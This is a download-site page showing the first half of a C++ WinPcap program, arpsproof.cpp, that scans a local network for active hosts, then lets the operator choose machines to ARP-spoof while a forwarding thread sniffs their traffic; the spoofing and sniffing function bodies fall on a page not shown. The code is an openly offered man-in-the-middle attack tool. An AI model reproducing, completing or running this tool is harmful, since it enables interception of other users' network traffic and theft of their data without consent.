⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 arpsproof.cpp

📁 就是扫描内网活动主机,用Winpcap编写的一个在交换环境实现arp欺骗的代码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
//  saga.constantine编写   2006.4.20
//printf("have run to here!!!\n"); 我自己的习惯,调试的时候好复制到程序中调试用!
#include <stdlib.h>
#include <stdio.h>
#include <pcap.h>                 //winpcap的头文件
#include <winsock2.h>
#include <process.h>              //多线程编程的头文件
#include <windows.h>
#include <Iphlpapi.h>             //提取网关用的头文件


#pragma comment(lib,"ws2_32")
#pragma comment(lib,"pcap")
#pragma comment(lib,"IPHlpApi")

////////////////////////////////////////////////////////////////////
#define IPTOSBUFFERS 12               
#define MOSTCHEATNUMBER 256         //最大的欺骗数目
#define ETH_IP       0x0800          //定义各种标识的数值
#define ETH_ARP      0x0806
#define ARP_REPLY    0x0002
#define ARP_REQUEST  0x0001
#define ARP_HARDWARE 0x0001
/////////////////////////////////////////////////////////////////////
typedef struct ethdr                  //以太头结构
{
    unsigned char   eh_dst[6];
    unsigned char   eh_src[6];
    unsigned short  eh_type;
}ETHDR,*PETHDR;

typedef struct arphdr                  //arp头结构
{
    unsigned short  arp_hdr;
    unsigned short  arp_pro;
    unsigned char   arp_hln;
    unsigned char   arp_pln;
    unsigned short  arp_opt;
    unsigned char   arp_sha[6];
    unsigned long   arp_spa;
    unsigned char   arp_tha[6];
    unsigned long   arp_tpa;
}ARPHDR,*PARPHDR;

typedef struct acttiveIpwithMac          //用于存储ip与对应mac的结构
{
    acttiveIpwithMac* next;
	unsigned long ip;
	unsigned char mac[6];
}acttiveIpwithMac,*PacttiveIpwithMac;
////////////////////////////////////////////////////////////////////////////
char *iptos(u_long in);                                     //用来将网络的ip地址转换成4字节形式       
void ifprint(pcap_if_t *d);                                 //显示pcap_if结构的信息
int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n);      //判断两个mac是否相同
int getmmac();                                              //获得自己mac的函数.用pcap实现.当让还可以用GetAdaptersInfo来获得
unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x);     //向局域网内发arp请求包扫描
unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x);     //接受并存储局域网的arp响应信息
unsigned int _stdcall sproof(void *x);                       //欺骗某一特定的主机,需传递主机的序号,序号由扫描获得
unsigned int _stdcall transmitandsniffer(void *x);           //转发包的线程
int Getgatewayip(ULONG choosedip);                           //获取本地的网关ip
//////////////////////////////////////////////////////////////////////////
PacttiveIpwithMac myip,gateip,Pipmachead=NULL;                   //定义全局变量记录我的和网关的ip和mac
ULONG mynetmask;                                          //我的子网掩码
pcap_t *slecadopt;                                        //指向选择网卡的指针                        
int Ssendover=0;                                           //用于控制线程的标志
int cheat[MOSTCHEATNUMBER];                               //用于控制欺骗线程的标志

///////////////////////////////////////////////////////////////////////////
int main() 
{
	 myip=new acttiveIpwithMac;                             //记录自己的ip
     gateip=new acttiveIpwithMac;                           //记录网关的ip
     u_long sendarphd,recvarphd,transhd,sproofhd[MOSTCHEATNUMBER];   //用于线程控制的变量
	 PacttiveIpwithMac z,k,j;
	 unsigned sendarpid,recvarpid,transid,sproofid[MOSTCHEATNUMBER];        //用于线程控制的变量
	 pcap_if_t *alldevs,*d;                      //pcap里对网卡的控制量
     int i=0,m,maxactive,inum;
     
     char error[PCAP_ERRBUF_SIZE];           

	 
     /* 获得网卡的列表 */
     if (pcap_findalldevs(&alldevs, error) == -1)
     {
         fprintf(stderr,"Error in pcap_findalldevs: %s\n", error);
         return -1;
     }
     /* 打印网卡信息 */
     for(d=alldevs; d; d=d->next)
     {
         printf("%d. ", ++i);
		 ifprint(d);           /* 循环调用ifprint() 来显示pcap_if结构的信息*/
         if (d->description)
             printf(" (%s)\n", d->description);
         else
             printf(" (No description available)\n");
     }
	    
     if(i==0)
     {
         printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
         return -1;
     }
     printf("Enter the interface number (1-%d):",i);
     scanf("%d", &inum); //输入要选择打开的网卡号
     if(inum < 1 || inum > i) //判断号的合法性
     {
         printf("\nInterface number out of range.\n");
         /* Free the device list */
         pcap_freealldevs(alldevs);
         return -1;
     }
     /* 找到要选择的网卡结构 */
     for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
	 /*找到我的ip*/
	 myip->ip=((struct sockaddr_in *)d->addresses->addr)->sin_addr.s_addr;
	 /*获得选择网卡的子网掩码*/
	 mynetmask=((struct sockaddr_in *)d->addresses->netmask)->sin_addr.s_addr;
	 //printf("netmask:%s\n\n",iptos(mynetmask));
     /* 打开选择的网卡 */
     if((slecadopt = pcap_open_live(d->name, 1000, 1, 1, error) ) == NULL)
     {
         fprintf(stderr,"\nError opening adapter: %s\n", error);
		      pcap_freealldevs(alldevs);
         return -1;
     }
     /*获取网关的信息*/
     if(Getgatewayip(myip->ip))
		 printf("\tGateway: %s\n",iptos(gateip->ip));
     /*获取本地mac*/
	 while(getmmac()==0);
	 printf("my mac:  %02x:%02x:%02x:%02x:%02x:%02x\n\n",myip->mac[0],myip->mac[1],myip->mac[2],myip->mac[3],myip->mac[4],myip->mac[5]);

     /*扫描局域网内活动主机*/
     sendarphd=_beginthreadex(NULL,0,sendpackettogetallacttiveIpwithMac,0,0,&sendarpid);//开启arp扫描包线程
	 recvarphd=_beginthreadex(NULL,0,recvpackettogetallacttiveIpwithMac,0,0,&recvarpid);//开启接收arp响应包线程
     WaitForSingleObject((HANDLE)sendarphd,INFINITE);     //主线程停止等待发送线程结束
	 for(m=5;m>0;m--)
	 {
		 printf("scanning\n");
         Sleep(500);                    //等待回应包到达,共等2500ms.不够可调
	 }
	 Ssendover=1;//置标志,停止接收线程
	 WaitForSingleObject((HANDLE)recvarphd,INFINITE);     //主线程停止等待接收线程结束
	 if(Pipmachead!=NULL)
	 {
		 /*去处重复的活动主机*/
	     for(k=Pipmachead;k->next!=NULL;k=k->next)
			 for(z=k;z->next!=NULL;)
			 {
				 if((k->ip==z->next->ip)&&(macequal(k,z->next)))
				 {
					j=z->next;
		          	z->next=j->next;
				  	delete j;
				 }
				 else
					z=z->next;
			 }
	      /*输出列表*/
		 for(z=Pipmachead,i=1;z!=NULL;z=z->next,i++)
				printf("%-3d  ip=%-20s mac=%02x:%02x:%02x:%02x:%02x:%02x\n",i,iptos(z->ip),z->mac[0],z->mac[1],z->mac[2],z->mac[3],z->mac[4],z->mac[5]);
	 }
	     for(k=Pipmachead;k->next!=NULL;k=k->next)
             if(k->ip==gateip->ip)
				gateip=k;
	 maxactive=i-1;
	 CloseHandle((HANDLE)sendarphd);
	 CloseHandle((HANDLE)recvarphd);
	 transhd=_beginthreadex(NULL,0,transmitandsniffer,0,0,&transid);    //开启转发线程
     printf("transmitandsniffer已经开始了!!\n");
	 for(i=0;i<256;i++)
		cheat[i]=0;
	 printf("已经得到了本局域网的活动主机!!!\n选择你想欺骗的机器序号一次一台:");
     printf("选择你想欺骗的机器序号:\n");
	 for(;;)
	 {
		 scanf("%d",&i);
		 if(i>0&&i<=maxactive)
		 {
		     if(cheat[i-1]==0)
			 {
				 cheat[i-1]=1;
				 sproofhd[i-1]=_beginthreadex(NULL,0,sproof,&i,0,&sproofid[i-1]);
			 }
			 else
		     printf("\n%d号机已经欺骗了!!大佬!!\n",i);
		 }
		 else if(i<0&&i>=-maxactive)
		 {
			 if(cheat[-i-1]==1)
			 {
                 cheat[-i-1]=0;
                 CloseHandle((HANDLE)sproofhd[i-1]);
			 }
			 else
			 printf("\n%d号机没欺骗怎么结束啊!!大佬!!\n",-i);

		 }
		 else if(i>maxactive||-i>maxactive)
		 {
			 printf("\n没有这么多机器,大哥,只有%d台!!\n",maxactive);
		 }
		 else
		 {
              for(i=0;i<256;i++)
		      cheat[i]=0;
		 }
		 Sleep(100);
         Sleep(100);
		 Sleep(100);
		 Sleep(100);
         for(i=0;i<256;i++)
             if(cheat[i]==1)
		 printf("\n%d号机正在被欺骗和嗅探选择,想退出对此机的嗅探输入-%d",i+1,i+1);
         Sleep(100);
	     Sleep(100);
	     printf("\n选择你想嗅探的机器序号:");
			 
	 }
	 return 1;
}

char *iptos(u_long in)
{
     static char output[IPTOSBUFFERS][3*4+3+1];
     static short which;
     u_char *p;
     p = (u_char *)&in;
     which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
     sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
     return output[which];
}

int macequal(PacttiveIpwithMac m,PacttiveIpwithMac n)
{
	int i=0;
    if(memcmp(n->mac,m->mac,6)==0)
	i=1;
	return i;
}

void ifprint(pcap_if_t *d)
{
   pcap_addr_t *a;
   /* Name */
   printf("%s\n",d->name);
   /* Description */
   if (d->description)
     printf("\tDescription: %s\n",d->description);
   /* Loopback Address*/
   printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");
   /* IP addresses */
   for(a=d->addresses;a;a=a->next) 
   {
     printf("\tAddress Family: #%d\n",a->addr->sa_family);
   /*关于 sockaddr_in 结构请参考其他的网络编程书*/
     switch(a->addr->sa_family)
     {
       case AF_INET:
         printf("\tAddress Family Name: AF_INET\n");//打印网络地址类型
         if (a->addr)//打印IP地址
           printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
         if (a->netmask)//打印掩码
           printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
         if (a->broadaddr)//打印广播地址
           printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
         if (a->dstaddr)//目的地址
           printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
         break;
       default:
         printf("\tAddress Family Name: Unknown\n");
         break;
     }
   }
}

int Getgatewayip(ULONG choosedip)
{
	PIP_ADAPTER_INFO pAdapterInfo;
    PIP_ADAPTER_INFO pAdapter = NULL;
    DWORD dwRetVal = 0;;
	//ULONG p;

    pAdapterInfo = (IP_ADAPTER_INFO *) malloc( sizeof(IP_ADAPTER_INFO) );
    ULONG ulOutBufLen = sizeof(IP_ADAPTER_INFO);

    // Make an initial call to GetAdaptersInfo to get
    // the necessary size into the ulOutBufLen variable
    if (GetAdaptersInfo( pAdapterInfo, &ulOutBufLen) == ERROR_BUFFER_OVERFLOW)   
	{
    free(pAdapterInfo);                          //malloc动态声请的空间要free
    pAdapterInfo = (IP_ADAPTER_INFO *) malloc (ulOutBufLen); 
	}

    if ((dwRetVal = GetAdaptersInfo( pAdapterInfo, &ulOutBufLen)) == NO_ERROR) 
	{
        pAdapter = pAdapterInfo;
	    while (pAdapter) 
		{
                  if(myip->ip==inet_addr(pAdapter->IpAddressList.IpAddress.String))
				  {
					  gateip->ip=inet_addr(pAdapter->GatewayList.IpAddress.String);
					  return 1;
				  }
                printf("\t***\n");
		    pAdapter = pAdapter->Next;
		}
	}
	return 0;
}

int getmmac()
{   
    unsigned char   sendbuf[42];
    int    i=7,k;
    ETHDR  eth;
    ARPHDR arp;
	struct pcap_pkthdr *  pkt_header;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -